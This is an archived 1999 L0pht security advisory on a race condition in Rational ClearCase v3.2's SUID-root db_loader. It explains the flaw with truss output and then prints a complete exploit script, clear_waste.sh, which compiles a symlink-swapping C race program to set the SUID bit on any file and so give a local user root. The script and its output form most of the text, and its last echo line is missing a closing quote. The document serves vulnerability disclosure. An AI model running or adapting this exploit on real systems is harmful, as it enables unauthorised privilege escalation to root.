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TUCoPS :: Unix :: General :: clearc~1.txt

L0pht - Rational Software's Clear Case v3.2 race condition.





[ http://www.rootshell.com/ ]


                       L0pht Security Advisory

                     Advisory released Jan 8 1999
             Application: Rational Software's Clear Case v3.2
                Severity: any local user can become root

                       Author: mudge@l0pht.com
                 http://www.L0pht.com/advisories.html

---
Overview :
---

  ClearCase is a configuration management program from Rational Software.
  Similar in some ways to CVS or Visual Source Safe.

  The default installation of ClearCase installs the program db_loader
  SUID root. One of the many security problems in this program is a race
  condition which enables any user to add the SUID bit to any file on the
  system.
 
  For what it is worth IDC and other groups have given Clear Case awards.
  Presumably these awards have nothing to do with security.
  
---
Example :
---

  > ls -l /bin/ksh
  -r-xr-xr-x   2 bin      bin       186356 Jan 21  1998 /bin/ksh

  > ./clear_waste.sh /bin/ksh

  Clear Case proof of concept exploit code - mudge@l0pht.com 2.5.1999
  one beer please!

  creating race grinder....
  created!

  compiling race grinder...
  compiled! Launching attack.... be patient

  Looks succesfull!
  -r-sr-xr-x   2 bin      bin       186356 Jan 21  1998 /bin/ksh

  don't forget to get rid of /var/tmp/cleartest


---
Description :
---

The database loader for pure atria is SUID root. A likely candidate for
mayhem and deliciousness. In addition it is around 1.5 megs in size - 
way beyond the size of manageability for a program with elevated priveleges.

-r-sr-xr-x  1 root other  1527532 Jan 21  1998 /usr/atria/sun5/etc/db_loader

Taking a quick look at the binary shows plenty of places to exploit the
default behaviour.

[output from a truss -f -a -e -o /usr/atria/sun5/etc/db_loader /tmp]

1372:   stat("/usr/atria/etc/db_dumper", 0xEFFFE400)    = 0
1372:   access("/tmp/db_dumper", 0)                     Err#2 ENOENT
1372:   open("/usr/atria/etc/db_dumper", O_RDONLY)      = 3
1372:   open("/tmp/db_dumper", O_WRONLY|O_CREAT|O_TRUNC, 0100555) = 4
1372:   read(3, "7F E L F010201\0\0\0\0\0".., 65536)    = 65536
1372:   write(4, "7F E L F010201\0\0\0\0\0".., 65536)   = 65536
1372:   read(3, " _ d e f a u l t\0 r _ t".., 65536)    = 65536

..... you got it - they are copying db_dumper file to the directory you
specified.

1372:   read(3, 0xEFFED690, 65536)                      = 0
1372:   close(3)                                        = 0
1372:   fdsync(4, O_RDONLY|O_SYNC)                      = 0
1372:   close(4)                                        = 0
1372:   utime("/tmp/db_dumper", 0xEFFFD6F0)             = 0
1372:   stat("/tmp/db_dumper", 0xEFFFE728)              = 0
1372:   chmod("/tmp/db_dumper", 0104555)                = 0

And low and behold the ever popular chmod(2) call 

So - we should have plenty of time for the race condition since they are using 
calls which only return the information that was true at that explicit moment
in time. This type of coding assumes that the piece of information being
checked is invariant.  /usr/atria/etc/db_dumper is also a ~1.5 meg file
so we have plenty of time to unlink and replace it while the copy is
taking place.

Most likely it would be even eaiser as we imagine that they will execute the
program later on... as it is this machine did not have a license
server it was permited to communicate with so it bombs out before any such 
what-not can happen.

---
Exploit code :
---

------ begin clear_waste.sh --------

#!/bin/sh
#
# This is sample code that takes advantage of a race condition in 
# Pure Atria's Clear Case db_loader program. The program will retain
# ownership of the file pointed to on the command line and have
# the clear case db_loader change the permissions to SUID
#  .mudge@l0pht.com  2.5.1999
#
RACE_PROG=./clear_race
RACE_CODE=./clear_race.c
# you probabaly need to change the following to reflect your
# system and setup
#NICE=/usr/bin/nice
CC=/usr/local/bin/gcc
DB_LOADER=/usr/atria/sun5/etc/db_loader
RM=/bin/rm
LS=/bin/ls
MKDIR=/bin/mkdir
# you need to own the DEST DIR so you can delete files that you don't
# directly own
DEST_DIR=/var/tmp/cleartest.$$

if [ "$#" -ne "1" ] ; then
  echo "usage: `basename $0` file_to_make_suid"
  exit
fi

TARGET=$1

if [ ! -f ${TARGET} ] ; then
  echo "target file must exist"
  exit
fi

echo
echo "Clear Case proof of concept exploit code - mudge@l0pht.com 2.5.1999"
echo " one beer please!"
echo

${MKDIR} ${DEST_DIR}
if [ $? -gt 0 ] ; then
  echo "go get rid of ${DEST_DIR} and try again..."
  exit
fi

cd ${DEST_DIR}

# create the race runner
echo "creating race grinder...."
cat > ${RACE_CODE} << FOEFOE
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>

main(int argc, char *argv[])
{
  struct stat statbuf;

  printf("%d\n", argc);

  if (argc != 2){
    printf("bzzzzt! - wrong usage\n");
    exit(0);
  }

  while (1){
    if (stat("./db_dumper", &statbuf) == 0){
      unlink("./db_dumper");
      symlink(argv[1], "./db_dumper");
      exit(0);
    }
  }
}
FOEFOE
echo "created!"
echo

# compile it
echo "compiling race grinder..."
${CC} -O2 -o ${RACE_PROG} ${RACE_CODE}

if [ ! -f ${RACE_PROG} ] ; then
  echo "compile failed?"
  ${RM} -f ${RACE_CODE}
  exit
fi

echo "compiled! Launching attack.... be patient"
echo


${RACE_PROG} ${TARGET} &
# let us give the progie a second or two to load up and get the runtime
# crap set
sleep 2 

#${NICE} -n 2 ${DB_LOADER} ${DEST_DIR} > /dev/null 2>&1
# if you keep failing try the above and potentially increase the nice value
${DB_LOADER} ${DEST_DIR} > /dev/null 2>&1

if [ -u ${TARGET} ] ; then
  echo "Looks succesfull!"
  ${LS} -l ${TARGET}
  echo
  echo "don't forget to get rid of ${DEST_DIR}"
  echo
  exit
fi

echo "doesn't look like it worked... "
echo "try again - after all it's a race condition!"
echo "don't forget to get rid of ${DEST_DIR}
echo

-------- end clear_waste.sh --------


mudge@l0pht.com
---------------
For more L0pht (that's L - zero - P - H - T) advisories check out:
http://www.l0pht.com/advisories.html
---------------



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